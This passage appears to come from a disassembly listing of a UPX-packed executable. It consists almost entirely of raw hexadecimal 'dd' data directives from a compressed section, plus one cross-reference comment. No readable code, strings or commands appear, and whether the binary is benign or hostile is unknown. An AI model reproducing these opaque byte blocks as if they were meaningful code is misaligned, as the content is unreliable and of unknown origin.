		dd 4B3C18ACh, 6E79B143h, 9B1F9EACh, 49F3054Dh, 0B3F0519Bh
		dd 60F1C39Fh, 0DD1BA226h, 39B41681h, 9A12D07h, 15429851h
		dd 1485D0B6h, 327B9A05h, 0A034433Ah, 0C5253E41h, 0D3FD0F0Fh
		dd 0C1D500D1h, 0D03D2369h, 0D27A4D79h, 4294A507h, 4B50C52Bh
		dd 2752F895h, 0FE4434C4h, 4D228DFCh, 1DD366C9h,	6EC0B160h
		dd 0E28EE9DBh, 15BA53D6h, 7A4948E9h, 46F6DDF0h,	4E0633D4h
		dd 6A554970h, 471A9802h, 498C04h, 54A3AD50h, 0AAD544CBh
		dd 7DAAE9D6h, 556EAD4h,	82AFB9D9h, 54885255h, 5AC722E4h
		dd 759C1F56h, 6B556954h, 0D6F760AAh, 932ED2B7h,	41484BB7h
		dd 0BC2BF93Ch, 15C8B292h, 0FEF0EBE9h, 0B656CABAh, 5584B072h
		dd 896AF389h, 64D6C4D8h, 9ED8CB1h, 0D93B1EB8h, 29363B2Ch
		dd 0F89F014Fh, 0BD0CBB2Eh, 74B3654Ch, 3EBBACE9h, 92D1CCFBh
		dd 7DA87E16h, 0C2E76AB3h, 76B8BDDAh, 4C0DB030h,	5B39C261h
		dd 31C62ADAh, 2273DB7h,	0DF4089D5h, 0A2B836FEh,	122BE059h
		dd 198E5C4Dh, 0BB239EF7h, 0EB9C6AA0h, 374A7FCFh, 0C4C9C4A0h
		dd 0DD6D3272h, 3A942A11h, 43E87337h, 3FDDDA25h,	4468377Ch
		dd 0ED79AF1Bh, 7E1CC363h, 651F0CB4h, 0FBDD7B6Fh, 97C5025Eh
		dd 0A5FE1DA3h, 80C17D6Fh, 97E6FC44h, 0EFEDFB6Bh, 0E016C713h
		dd 4520EDB2h, 8D703230h, 0B7D3B6D4h, 448BF829h,	0EEDD8132h
		dd 0F126A4B6h, 0B81D4A0Dh, 0BA8EDFB6h, 38612DC6h, 5C283001h
		dd 80700353h, 0D1D30Fh,	1B10801h, 0C9E24C46h, 82C4EE55h
		dd 0BB57314Ah, 841562CAh, 26315315h, 0C6B596Bh,	0F8E1D649h
		dd 0D58E3A54h, 873AE2ECh, 20B9031Fh, 91650E43h,	0E2648AF7h
		dd 81B00479h, 9F93B265h, 0CB288A6Ch, 0ACB596B2h, 8CAD9556h
		dd 44F96C93h, 2C865BCBh, 59528364h, 5F855331h, 99ACD0CAh
		dd 0F49712B9h, 0D3E5B9B1h, 0DEBD2D28h, 0C57C732Ch, 0C0CACE79h
		dd 7302FE5Fh, 46246167h, 33E4E2CFh, 0B7B6CC2h, 3336E45Bh
		dd 2B41DBBh, 0CE686D0Bh, 4ED12678h, 61713A7Fh, 87471A13h
		dd 49AC648Ch, 65506D9h,	7174ADDh, 2EAD04D3h, 0C27D3BA7h
		dd 0BB976E86h, 0A97526A3h, 54D183D9h, 0AED5946Bh, 8075FE86h
		dd 4EB387Ch, 3DBE5AD5h,	0BC8435BCh, 6A245F50h, 7EBED7ADh
		dd 7BFC89C2h, 9B0F0022h, 0B6422FD8h, 0B70C11B2h, 0D9E91305h
		dd 50FC7ED2h, 6CA524A7h, 5CA9095Fh, 41B7B6EAh, 1F708120h
		dd 261E0040h, 2C42E2F7h, 9BADC827h, 37727BDDh, 817C5320h
		dd 907EAC11h, 8C37AEF3h, 7CBA6AC7h, 0AADFBBEBh,	0D4ABEB62h
		dd 0D71EE3C0h, 3574E08Eh, 977DC1C8h, 2B138570h,	725AC7C9h
		dd 584E2393h, 0E2D94F8Ah, 0F578D718h, 8F13CE38h, 22CBB647h
		dd 4BC932FFh, 73942FCEh, 6F2ECD16h, 35EDCC39h, 0B6AB3873h
		dd 9FC6742Fh, 73DE7660h, 0CFBD033Dh, 0D17A1C01h, 4682331h
		dd 0BFE99026h, 0DD038CFDh, 3CCA6899h, 0EC11EA1Dh, 1A390518h
		dd 7046B46Eh, 6972D06Ch, 0D749D6DDh, 414275A5h,	8941E035h
		dd 1A85A7DDh, 0DA5D9D44h, 0CDDADDA9h, 47B81947h, 4794687Eh
		dd 5DC2065h, 5DCDAC88h,	0AB50EDDDh, 47DAB9FEh, 0ADDEDDE5h
		dd 1DF9DF54h, 0E014BC87h, 11E08119h, 0D809E15Eh, 4E9815E1h
		dd 39B31B2Dh, 0DE39B41Bh, 84D191E3h, 55E51E4Dh,	5E611ADEh
		dd 1C5E6986h, 75B8C009h, 0C9A1E79Eh, 0B9987DE7h, 95E8DBA1h
		dd 0E59899Eh, 5C05CE6h,	615C084h, 0DEB5EAD2h, 0BD1BCCA2h
		dd 6CE8D8B9h, 0CA71EC8Ah, 2340FC0Fh, 0D9BED59Dh, 0DC01251Eh
		dd 2601CD5Bh, 0C5C115C5h, 1F0D90E1h, 0C2D91D29h, 3D2A8B21h
		dd 84A1F25Ch, 0F302B1C4h, 604D1F39h, 42E0B59Ch,	0F492E5C6h
		dd 54F60B65h, 0C301971Fh, 0F6453D97h, 69C9998Dh, 83385D56h
		dd 68DF7DF7h, 8DF84359h, 0DF95F8DFh, 0CE5CE19Ch, 299DC5FDh
		dd 1CFDCF86h, 2F56D9D0h, 19FC9FC4h, 0C665FD10h,	2CC61FDh
		dd 0F5FF465Dh, 0A0013C9Fh, 0C7A0093Dh, 0D429DD5Ch, 0D0706DC6h
		dd 0A55A5D3Fh, 3A03574Dh, 9429D860h, 0CF204976h, 0C6055A8Ch
		dd 9460D110h, 0FEA069AAh, 33C1D47Bh, 0CD7B607Eh, 0A08D7C1Dh
		dd 9DAB5DDh, 0A4810182h
		dd 23741620h, 7E60B5AFh, 8A0C20B9h, 0E0CE0C8Dh,	0D9B1C8Ah
		dd 25B2C8DEh, 0D4F9E2D8h, 0F4919B3h, 1E4A0FAh, 0D85494E1h
		dd 0E611B1B6h, 6C0880C1h, 0E3F5E79Eh, 0E8213612h, 0E6141B9Dh
		dd 0D1E9E911h, 1FC9FA14h, 6615C059h, 215A42E1h,	0EBDEB9EBh
		dd 89BDA181h, 80F9BE21h, 0ED4A7A19h, 0EE1AE1A9h, 0A1BC409Eh
		dd 0C121C58Fh, 5C24EF5h, 1F15F102h, 0F20F1C47h,	48288F29h
		dd 0D94CF39Ch, 2052D194h, 144DD62Ah, 221DF462h,	638B75C7h
		dd 60B84F5Dh, 0F95989Fh, 5D9F6E24h, 7857E250h, 0FAA2596h
		dd 699CBE26h, 65CCE269h, 9CDCBF93h, 62CC0227h, 0E9FB5FB0h
		dd 0E5502F42h, 2A9FD1FBh, 0DC6622AEh, 691FE1Fh,	2C62C0C5h
		dd 49FFE586h, 8C822D5Dh, 6B42BC2Ah, 8CC886A0h, 5075D642h
		dd 2A2FE2Fh, 0C6309086h, 5769A74Ch, 10FEA5D9h, 32A32605h
		dd 5A33605Eh, 234E3494h, 358D4635h, 0D7A57A2h, 0E61547D1h
		dd 0DEA369ADh, 7DDF14A5h, 0C1420B23h, 3960C5AFh, 0D515239Ah
		dd 0E0DD1620h, 0DD4DCE3Ah, 41B5CDD8h, 945E45Eh,	3D8E023Dh
		dd 0D211210Eh, 5E6C0600h, 12E3F898h, 489B2406h,	89C00155h
		dd 9D001401h, 1CE46414h, 4A0E4224h, 6EA158A0h, 0EA6EA162h
		dd 0A1798AE6h, 0A54A6644h, 91ECCA74h, 4EAA19E1h, 0ABD8E21Ah
		dd 0D58F15B8h, 1EF6478Ah, 1CCEDE48h, 0FA49648Eh, 48E4A15h
		dd 2BDF28B3h, 0C44B9F31h, 962A4C64h, 4D84EA4Ch,	124E221Eh
		dd 9F5CF705h, 0C9E4F623h, 4CF95C99h, 132A50A2h,	0BC651651h
		dd 0A226651Ch, 2269CA96h, 539F9A53h, 4D6C5FA2h,	0E55538E5h
		dd 2A02DE29h, 6901C65Eh, 257256E5h, 58658282h, 922CE2C6h
		dd 42A571E5h, 6BCC682Ch, 0BDA49058h, 0D7465C25h, 72DD7CCBh
		dd 9176603Ch, 0CE5A81Dh, 1D9CFECEh, 5E325DAh, 410C978Ah
		dd 1E1AC23h, 6066001Eh,	0D2359AD2h, 10F26101h, 83C1D01Dh
		dd 6D47E360h, 0A37A3723h, 4BDDFA63h, 8885E05h, 1E1664DBh
		dd 0E2665E3Ah, 0F9B360E1h, 4DD0DD08h, 0B5A3CA3Ch, 5A68A685h
		dd 0A111B6C9h, 3EC0D152h, 0FA6A8E1Ah, 64011D23h, 158866Bh
		dd 2A6C802Ch, 0D559BA80h, 5CE59E9h, 0F6428E64h,	0A1729A26h
		dd 0A557CE7h, 0C80C8A34h, 40A409C0h, 8CE715ECh,	0E98D18D1h
		dd 0D24DBF1Bh, 0EF1C0272h, 867461C1h, 15E5C224h, 1DD2995Fh
		dd 9675DC3Ah, 0E4AE4A84h, 4BE77193h, 0DA77C4CEh, 0E4D67844h
		dd 2F622278h, 34B8A799h, 4F8D9862h, 32E7B0F9h, 0C67BE504h
		dd 9685F7E7h, 59D68835h, 0C9CC1F84h, 65285CDCh,	0F9E534FDh
		dd 0F937CBFDh, 0D6DCC1E7h, 81A2A680h, 0BA8222B2h, 0A82D0113h
		dd 0C79715FFh, 0BCC41718h, 6B866C2h, 28C29D3Dh,	0F62EE2E4h
		dd 0D4022F53h, 0C74A85FEh, 24C725D7h, 6475A870h, 0A5DE8787h
		dd 1F1A8C23h, 95A94CFCh, 7B8D0A8h, 8A88047Ah, 0DDAC68AAh
		dd 260E8B47h, 9A8CC7Eh,	0CE8CE8CAh, 2B9E61E8h, 8E236D0Fh
		dd 620A8D5Eh, 0E8F14B0Dh, 8A63920Bh, 0DB0E904h,	0E914DB29h
		dd 832669B2h, 460F491Dh, 6939511Eh, 0E5E94185h,	6E116949h
		dd 66A4E1DEh, 6AD5423Fh, 0DE4089B2h, 2C4E6BD1h,	8966D298h
		dd 5C9FDBB5h, 6430A000h, 9AA6FA9Ah, 0B69B1212h,	1BDA9BE9h
		dd 9DE9D69Dh, 298D98D6h, 4AC92567h, 741C0A1Bh, 1C0C41Ah
		dd 0A491C1EAh, 24191EA0h, 5D2A6498h, 0A764B2A7h, 2C5F2D2Bh
		dd 5677561Dh, 0DF3EA3CBh, 4DC4F595h, 6D96A4D8h,	0E7A67A0Bh
		dd 31E7B165h, 15676A79h, 0FB16865h, 0D5AD5626h,	9135134Eh
		dd 2AA27DDFh, 7EEAB0FDh, 0C0602ABAh, 0A5527FEAh, 0C3AACE80h
		dd 56AD56F0h, 0C67AADC6h, 0D3AAEA2Ah, 0A104D041h, 0FEC28406h
		dd 2B06B002h, 6A2B1601h, 25A4DA48h, 4CCE2FE0h, 73941EB3h
		dd 4143A310h, 10B5D987h, 88EE1C1Fh, 0DC7C6B66h,	47A17881h
		dd 8A87A81Ch, 0EEB84792h, 6B920887h, 0BA2BAAB9h, 22E62BA6h
		dd 0ABBEBB66h, 8EE63511h, 0F94C2386h, 0A6514CD7h, 0D88B8D9h
		dd 0FA0E2662h, 0C09266D4h, 84518DB5h, 0D2C0CDF5h, 23DEC163h
		dd 49E66C2h, 2A120048h,	696696A1h, 99297213h, 0D1E966BCh
		dd 49FA6D89h, 9A6C7699h, 45216442h, 0CA9B8Ah, 70CA70E9h
		dd 0A2CA29D6h, 15B9BF55h, 47E9F6CBh, 0CCAE29FEh, 1F12CD2Ch
		dd 0A18F192Ah, 26A21C3Ah, 6CFAA2AAh, 77C4C52Ch,	0DC66D0Eh
		dd 278A4D62h, 0D2A226A5h, 6AD32A62h, 432AD3AAh,	0A82A7CBEh
		dd 5ED4D9B2h, 2D5ED583h, 35E7E2D6h, 78BEAD71h, 0AABE7EEDh
		dd 0AC8632D8h, 0A681681Ah, 6572DAADh, 0A2ADBADAh, 3ADC6849h
		dd 0AB002C5Dh, 706AEDCh, 3EDEAB11h, 4AFEDF17h, 0EDFEDF97h
		dd 0A7823A03h, 0C6E13089h, 2E1A04CCh, 7B2892E2h, 9CD001C0h
		dd 8D4146C7h, 0BA47F2E5h, 0D2E6AE66h, 0C7D94741h, 632BBA8Dh
		dd 32E86BC6h, 17F1DFD1h, 0CEBE2E9h, 0F08E2BEAh,	0D17EBF6Bh
		dd 0DDC09A0Eh, 0CD50EEC0h, 0E68CDFEEh, 0B7EC2185h, 0FEEF23F1h
		dd 0E134E2E3h, 6C5BA2EFh, 5697E97Eh, 0A98C9ED5h, 0F2299D1Fh
		dd 2A43A6F2h, 80C9216Fh, 0DF1A00Ah, 0D5226F38h,	0C13619A9h
		dd 24ECA6F4h, 0B125417Dh, 0E7395C21h, 0C1AF6ACBh, 121D6F71h
		dd 0ECEA75AAh, 4B2A26F8h, 8B4A4B6h, 0B5B21A2h, 2D84DE4Dh
		dd 762184F0h, 9652FC1Ch, 0A645EAFCh, 7223832Eh,	0A256FDEAh
		dd 0FF2FEDCBh, 62262FF6h, 0E52ED66Dh, 0AAD69ED6h, 0E19D6AB2h
		dd 9385D019h, 8056DCFFh, 3302E56Ah, 0C472BB0h, 6A2AF304h
		dd 0BCC3DD3Ch, 0C2A6DC82h, 2306EDDh, 0CE5C0CAEh, 2B3472CCh
		dd 0B3C23941h, 8F09AE02h, 0A231FED0h, 0A5EAB5F0h, 7A332EE3h
		dd 5B0C5A90h, 60910CA3h, 8D6E6B0Dh, 201B1DDEh, 0E3770EC8h
		dd 86B0F485h, 0FDAF813Ch, 88988957h, 8120D2E9h,	0E6EAA65Dh
		dd 183490A0h, 0DE6EC1B4h, 3DB5AC08h, 3145B6B1h,	3F097AC2h
		dd 7E12295Eh, 6EF5879Eh, 9971689Ah, 0EA41B174h,	0A6E61509h
		dd 0C7EF2318h, 0BD57EC82h, 71B0A3A9h, 8CE45A18h, 0CB1C6199h
		dd 8AC71CF1h, 4771DD25h, 731EAF66h, 0CF015EAFh,	1FC21445h
		dd 960A4A3h, 7212F9B2h,	0B4DC604Ch, 0B24CF218h,	6404E6Fh
		dd 2F24D464h, 56FC9979h, 45553116h, 0BE9C9B25h,	659A6FE0h
		dd 7272D4F2h, 52B27B27h, 6B009CD2h, 0AD832913h,	2A19F329h
		dd 0BE55A547h, 6812D99Fh, 5332BF2Bh, 2DFEC657h,	70517168h
		dd 29C2C5A2h, 0B8682DD4h, 173B2E86h, 7F2F5A5h, 3307303h
		dd 687C226Eh, 58473F58h, 7420D0B3h, 6B5EE1D7h, 0A6E2AE2h
		dd 0D733DAAFh, 0B5459AFEh, 0C1B17A9Dh, 83E8CF34h, 7F3617A8h
		dd 0ABCF0F2Eh, 4C0D7B0Fh, 2012238Dh, 6E9F38C1h,	1194E739h
		dd 92EB14EFh, 9140BC0h,	0ECAEC6ECh, 1495184Eh, 0DB72C1ACh
		dd 0C24012EDh, 37155E76h, 0E6AE132Ch, 3F2C433Dh, 0D73FB16Fh
		dd 4E5EC626h, 436C726Eh, 0B1BCA16Eh, 0B1A34218h, 194E8F42h
		dd 0DF43EF4Ah, 17CEB58h, 1BD25B1Dh, 3CAD925Ch, 2F68ADE7h
		dd 0CD1F041Fh, 45292F76h, 0A1E2CE02h, 4AB20747h, 8A1FAA2Eh
		dd 0B21F48F4h, 4AE2164Ch, 0AB4A82E3h, 34B5F474h, 4C34BC52h
		dd 832534C7h, 45EA4FCFh, 0FEB2634Dh, 7B4EAFEEh,	6AA9CC72h
		dd 28D35700h, 41375F9Bh, 19EF29E5h, 80B2A8FFh, 36566AD6h
		dd 0ADD37CB5h, 0AE86B6DBh, 842AB2E2h, 0F565D5C6h, 57107F2Eh
		dd 8286AB33h, 0D7594230h, 73E319A6h, 975AA888h,	6E1CD047h
		dd 1DC1F07Ah, 435BF830h, 75CB5C73h, 352BAA8Ch, 0FE7A35DFh
		dd 0EB364D3Dh, 0F3775F28h, 6076030Fh, 0A239F60Fh, 88D339AEh
		dd 0EB23B691h, 9292DB42h
		dd 51940551h, 6533C610h, 0C012C23h, 714C00C0h, 12A3FB66h
		dd 673D899Eh, 402EC4B1h, 6840289Ch, 5156298Bh, 7696F1C0h
		dd 17B416F2h, 0B71B36AEh, 245CE9B6h, 6CB1C5EDh,	336D0AABh
		dd 0A476CB27h, 1E4ADB6Eh, 22F6F6ECh, 76F44144h,	7061D1F0h
		dd 50473473h, 0CB26A182h, 1ED2B026h, 0B029A76Ah, 0F7299402h
		dd 22373372h, 0CF746FB3h, 0F542DB9h, 75B24375h,	40B98BF3h
		dd 67B776C5h, 0FE5CACBEh, 73781346h, 378F78B2h,	0D6833300h
		dd 0A277502h, 56D350F5h, 7BB7B751h, 2F52B527h, 0B2BF7CF5h
		dd 2C46AEAEh, 0E755F7E7h, 0B7F1A477h, 0B29A525Bh, 45A62862h
		dd 0F2FEB357h, 0CC909357h, 3F594248h, 2B490A54h, 7A8CF732h
		dd 3BACB5A4h, 41A01978h, 84E08F84h, 0D87E8D0Fh,	2E66BA30h
		dd 0D407E386h, 36FE97D4h, 0FB5FB873h, 513EBD75h, 65788B88h
		dd 0D94E7616h, 0A91F89C8h, 0B45B3C0Bh, 17136C05h, 210A93D5h
		dd 8D38CA3Eh, 21E6B8D7h, 0F3E38EC0h, 0B8DE7B66h, 0CB16AC45h
		dd 0D8909909h, 9F642368h, 9D2026E8h, 0E6FE43F6h, 1AB1A719h
		dd 5E45958Bh, 271F93A4h, 153946CAh, 0D71D36D0h,	0C1BC1AB1h
		dd 5CACBB6Dh, 1EF6ECC5h, 0AE442C4h, 4561D31Fh, 50B14244h
		dd 0ACEECE82h, 0CF428371h, 28F35942h, 4BED037h,	73CB5B9Ch
		dd 479D322Bh, 0F239C6F7h, 7593052Fh, 0F131375Fh, 0B25E2479h
		dd 0A8968F77h, 27A17786h, 0F79626E5h, 36F79CBDh, 137AB7A5h
		dd 0C156CF5h, 7C3A44C1h, 37A55FCFh, 42D6DBB5h, 2DEAE82Dh
		dd 76DDBA6Ah, 2DEFA7BAh, 7B2F72Fh, 1B2FFA97h, 0F80FAA14h
		dd 0A8076FAAh, 88764761h, 7ACCCFA8h, 0D87C332h,	0EB0C7851h
		dd 0BAE54950h, 0E607E7AEh, 3B5DAE6Eh, 7B047E88h, 0AFB0D4Ah
		dd 3788FE7Eh, 8D1314BFh, 0B60BB22Eh, 0EA7B2FB2h, 0EB89F89Ah
		dd 0B6373AE0h, 6478BA3Ch, 133CB64Bh, 38D21h, 3F78D800h
		dd 8FB7F8DEh, 0E14213DBh, 0F12C58E3h, 1B187BA6h, 0E6F4A1F9h
		dd 8B3BC3BBh, 540D40DDh, 4A57930Ah, 59BBDE19h, 0EFBE69D9h
		dd 0C17F6C9Bh, 5BB94FBEh, 63C036DDh, 15CB95D2h,	0EB0AEA48h
		dd 51F0F463h, 3C392A04h, 49F9A320h, 321F3C48h, 37242B0Fh
		dd 0C63C5C4Ch, 0C3EF42D3h, 0C2D02DB9h, 0C77C739Ch, 0E02E8643h
		dd 7C802E82h, 3139E130h, 3853451Ch, 4B94F805h, 0C9C54F76h
		dd 0DFA02507h, 0AD5225F4h, 0CB74EF4Eh, 23281F8Bh, 0F79F79BAh
		dd 0FB4FE9F9h, 0E4623CDDh, 0B7BEACBCh, 0CF7CF302h, 22C7A5Bh
		dd 3D0BFC3Dh, 0D1BA6F7Eh, 70713D1Fh, 0CCB471F0h, 0A99A6285h
		dd 4BD3A867h, 72384007h, 22524924h, 0A0C8947h, 5070283Ch
		dd 210F3FC3h, 87F89446h, 7F3E1C4Fh, 389C4EEh, 1C2347FEh
		dd 7CCA6538h, 64923904h, 0D9249349h, 0F27364A4h, 2F9747A4h
		dd 4924C661h, 9ACA6687h, 49A64129h, 4F4BD273h, 4C13D9Fh
		dd 4B143A15h, 9050A351h, 34A27D22h, 4F27D369h, 0E271189Ch
		dd 20554904h, 0D566B157h, 0EC815BAh, 86C039AFh,	0C73631B5h
		dd 0CD67B30Bh, 82EB50BAh, 26B68984h, 2110744Ch,	115CEE42h
		dd 0C856F018h, 0DF6F815Bh, 0FF017F08h, 0C220F07Dh, 11870483h
		dd 60302623h, 34C70000h, 20404840h, 16540E0h, 80B3197h
		dd 8232F990h, 874006CAh, 3420BD06h, 4FA605E9h, 9AB0502Fh
		dd 140A02B5h, 4D96BC20h, 0DB6D42C1h, 85C2C17h, 5F75BB1h
		dd 447BEDFh, 7882AE0Fh,	5432E371h, 4321A8DCh, 37E60DC6h
		dd 3E90FFA0h, 0EB0F87FDh, 5764943Eh, 777B44D2h,	83C052EDh
		dd 0CA9E32A7h, 0CFE7F317h, 0E6AF4FA4h, 73399BCDh, 3F97BCD4h
		dd 3CFD0F27h, 0CFE7F1F7h, 0FE7F881Fh, 1FFFE1Eh,	1916FE4h
		dd 12242C09h, 0B0441048h, 59204A92h, 1C4D12B0h,	94204D4h
		dd 14451135h, 50CC2D09h, 0EC385314h, 58564390h,	11C44571h
		dd 15D12C49h, 45A4465Ah, 0B45915C5h, 5D17C5C5h,	19C605C4h
		dd 9705C45Fh, 31C97C5Ch, 0EC786047h, 811FC7D1h,	62484609h
		dd 0C8D22994h, 0C65C8865h, 699925C8h, 9C6649D2h, 2999E671h
		dd 4AC6819Fh, 52C9A668h, 0ECB92DCBh, 0C06B4B32h, 6B4C530Ch
dword_440000	dd 0CCD329A4h, 8694D133h, 5CD935CAh, 9F36C9D3h		db 79h
byte_440011	db 52h,	4Eh, 27h	; DATA XREF: UPX1:00431B30o
		dd 0C8A6398Fh, 46118F3Ah, 0D4F93DCFh, 13FCFC5h,	5F97F40Dh
		dd 0D0B41974h, 0B4497A5Fh, 85185B97h, 2147D1C5h, 5896148Dh
		dd 0D254AD28h, 54CD314Bh, 0E95F4CD3h, 405A95F4h, 51D3D50Dh
		dd 0D4C55549h, 55315254h, 6D5851D5h, 5B57D5D5h,	59D644EDh
		dd 0D6C4CD65h, 75C5715Bh, 21275D92h, 144957A8h,	82584822h
		dd 0D8C85212h, 9AFE1C86h, 3A87D948h, 67A348E2h,	0DA496261h
		dd 291DA969h, 15B16BA6h, 6E9A2409h, 9D2469AAh, 0A7E9FA78h
		dd 0AA35C8A1h, 60A6A4A8h, 9EA58A0Ah, 27A9EA4Ah,	2ACA908Ch
		dd 0D7A5E8AEh, 2C21DABh, 0D0B0AC8Bh, 0B72D6B3Ah, 48122DEh
		dd 0B9AE8BBh, 42F40C2Fh, 2BF2FB8h, 0C4B0B86Bh, 31602620h
		dd 0C8B1EC7h, 0E00EC981h, 2ECA634Ch, 0D000ECA6h, 0B44D1010h
		dd 0AD4E48D4h, 8E500835h, 6CD9366Dh, 10B7CDABh,	0E60DDB7Ah
		dd 0CE1384DFh, 838B9BB8h, 0A2E839EEh, 0EA87CEA3h, 684EF07Eh
		dd 4253C1A1h, 1BC42A0Ah, 0C2F33CEFh, 338DE338h,	0BD8353D8h
		dd 0AF9BE2F7h, 0F6B0FD3Eh, 2FC102Fh, 115004h, 0C0F02C09h
		dd 706C1B04h, 0A41F0A41h, 2B0BC290h, 0F42D0D4h,	6E5136E1h
		dd 713C5112h, 66EF1616h, 6D1A1691h, 3F4671A4h, 17D1D471h
		dd 51EF0920h, 249721C8h, 97224906h, 284E7234h, 1A52A4A5h
		dd 0F1A5FE2Bh, 0C7CB72D2h, 0CDCD331Ch, 0F3D384CFh, 5C7CDB27h
		dd 0C4EF3ACEh, 0F8644F73h, 0D5D033D4h, 0D0F434FFh, 0B44D1541h
		dd 0AD234DD1h, 71DA5294h, 4FD37DCFh, 0D4951543h, 55494FDFh
		dd 8155E1D5h, 3B5878D5h, 0E5D68519h, 1255C93Bh,	95F5795Dh
		dd 258760A0h, 9163D8D6h, 8959641Dh, 0D9E8F0EEh,	0A97D9BEFh
		dd 2A54935Ah, 0B369FCBFh, 3AA61F4Dh, 8E96E5B6h,	69CDBC95h
		dd 1DC49325h, 0CCA15C97h, 0A629A2C5h, 29576DDAh, 1545E2A8h
		dd 808BD424h, 0BE57B959h, 7D0365F4h, 2F5FA0ADh,	45A8B58h
		dd 1182B006h, 5B0960ECh, 261CC318h, 4C40C318h, 0C698B31h
		dd 991060C5h, 636C658Ch, 0C5C03999h, 8B806850h,	2534AC8Dh
		dd 526AD92Bh, 0B595B2A6h, 0B02136ACh, 4664CC8Dh, 0C08D9AB3h
		dd 81502538h, 270740Eh,	67873415h, 7519EC45h, 0EC1D93AAh
		dd 0E1898D0Ch, 0BE790F09h, 7C33B4A0h, 91ED3D61h, 0DCD49AFEh
		dd 0CA2C8733h, 0C3563F47h, 0B3FED75Ah, 0ED7C4508h, 4429FC6Bh
		dd 891116D8h, 41225048h, 0DA5B320Bh, 0B74716D4h, 1C6E0DB9h
		dd 0E6880572h, 0A9133756h, 0CA2B6EC8h, 66FC8ADBh, 28C91B0Bh
		dd 5C138090h, 8C1708E1h, 182E1D20h, 92865B89h, 3938E71Ah
		dd 6B4A233Dh, 2E961C9Ah, 646B25B7h, 0E2617332h,	0D19B27DCh
		dd 9B1CF0Ch, 1D14A474h,	3A648C9Dh, 7503213Dh, 0EB1D53A9h
		dd 41A86500h, 0B37632CDh, 6EED9DD3h, 0EA5D3BA7h, 0F0BB15F2h
		dd 0F540EF65h, 4AAA613Bh, 0DE3BC378h, 3CC55931h, 79EAE265h
		dd 0AF0492B7h, 693D57A2h, 8C58CB16h, 0B4441EC8h, 8098BDC7h
		dd 19325A0Fh, 77CC495Fh, 8FA8933Eh, 49A12F9Ch, 2DC7DC19h
		dd 5A6FCDF8h, 0FDDFB3F5h, 75BFB5CCh, 0EE5D6BB1h, 0E700577Ah
		dd 1E02C055h, 2AFB5F30h, 9818598Bh, 10460796h, 4B901D2Eh
		dd 0B082EC5Dh, 83305E0Ah, 0FE20D980h, 31230F07h, 62AC50C6h
		dd 94C9012h, 13C28333h,	0D010656h, 4801A8E8h, 92175203h
		dd 5013026Ch, 0B65204CDh, 0D0D0D7B2h, 598C3802h, 0C3B02F0Eh
		dd 4E0A8E1h, 0EA9B535h,	9D44606Ah, 3F3A5122h, 9CD0E263h
		dd 28F244E8h, 79EA3CCDh, 78AC7B03h, 7BCF9C5h, 0DAE45E6Bh
		dd 2028C07Dh, 10A22A33h, 1A9B0D55h, 37C6C8D5h, 9B12A83Eh
		dd 3357E388h, 0C63A0A04h, 0A4796E6Dh, 0A8FE2D1Bh, 0B20516B7h
		dd 85D2346Fh, 0B811722Dh, 47F2211Dh, 0E364648Ch, 65491920h
		dd 0D04AA9CCh, 3295A4B0h, 4E4DA5A9h, 0EA5E4C03h, 493F27E4h
		dd 928E50A5h, 653A6EAFh, 0BA54EC93h, 95AE9D3Ch,	0A12584AEh
		dd 0D83AF50Eh, 0B7518A29h, 772E25D8h, 305ABBA9h, 0EA9B16AAh
		dd 277D302Ch, 0A2A94F4Ch, 0D533C498h, 4C855628h, 79932957h
		dd 0F3D5B4CCh, 5FCD099Eh, 0D69A440Dh, 802326ABh, 226B10DBh
		dd 0E90F10EBh, 0EEFE1C1Eh, 70975C70h, 24DF5B33h, 0C0D9389Fh
		dd 0B394903Eh, 970759Ch, 4E97D81Dh, 7C6FBD6Fh, 178A04EEh
		dd 0A41479E0h, 0FD9E6BA4h, 0F053E7B3h, 127D4039h, 51629F90h
		dd 6C0E60h, 903CB450h, 981B012Dh, 0C152EA5Dh, 0A1AC2CBDh
		dd 2688181h, 0FD12006h,	12321452h, 386768E0h, 1D8BD1A3h
		dd 7195A3C0h, 3C200340h, 949592D2h, 0C08528C2h,	0D2BA5404h
		dd 6610E21Bh, 8CDDC39h,	0E343B04Ah, 3704A09Ch, 794EE9D5h
		dd 129F9D2Ah, 244FA82Dh, 9A8D516Ah, 952EA554h, 0CFB1F88Bh
		dd 87C3EF17h, 0AAA7FEA8h, 56102556h, 360908D5h,	6A8E083Ah
		dd 34DA8503h, 6AB10A04h, 12216E08h, 2ACA2C91h, 2DD11622h
		dd 5BDD6AADh, 48490520h, 0AE15BD18h, 5D1C1A3Bh,	0BB23E189h
		dd 7A91CE1Eh, 0AF24D22Dh, 612BA544h, 0D84B032h,	87356193h
		dd 5289CE58h, 73A8CF94h, 0A53B1AE8h, 0B25642C7h, 2B1D40C7h
		dd 0CAE9FE59h, 966EB13Dh, 2D65A685h, 5CCBAB3Dh,	98B432E6h
		dd 6FA3ECEAh, 41495A51h, 0ADA8D23Ah, 0E54B6A85h, 0D6CAD8DAh
		dd 0DE5DB478h, 3D513AADh, 0B7AAEEDDh, 702DFBD5h, 0E0DC011Dh
		dd 71232F6Ah, 5E47AE48h, 0A9F012FDh, 0A92CB9CFh, 823DADC3h
		dd 0FAE897EBh, 0F58DC95Ah, 0EB7BACFAh, 9D21D6ECh, 4F56ACECh
		dd 305DE0CAh, 5E287780h, 0D0178A28h, 0F6F2CF35h, 42F19EEFh
		dd 0BBD61182h, 53F4AFCFh, 0D7F40D81h, 9702DE5Ah, 829420B8h
		dd 7F686416h, 0DFF2FFh,	14A2907Bh, 24644223h, 0A0C9C273h
		dd 651ADE90h, 0C1E01F0h, 0F84B08E1h, 37F61534h,	61B86786h
		dd 3746F30Eh, 0CD710B32h, 1283A04Ah, 4104F107h,	538A313Ch
		dd 70EEB41Ch, 3E2DA7E7h, 0A696795Ah, 0F51CF49Eh, 1AAC57A8h
		dd 0F216B38Dh, 1147FF1Dh, 8FF1F203h, 21894C81h,	47ABE847h
		dd 94285096h, 0BF98A16Ch, 321F436Dh, 7CA393C5h,	59BAD6FEh
		dd 0E8B84599h, 1ADA8C1Dh, 0E2DBA0A3h, 2BA5724Fh, 0E63CC290h
		dd 0AF291E46h, 95B34491h, 36A57CD4h, 5C4C79BBh,	139C9312h
		dd 0DAC5E76Bh, 0A493CF19h, 11999ED2h, 29E06559h, 0ACAE7FD0h
		dd 27ED0B65h, 761A1942h, 676CE288h, 58A9396Fh, 94D1DA34h
		dd 1FA26D3Eh, 5AD3F6F5h, 32A3D31Ah, 0D342BD5h, 9A71E2DBh
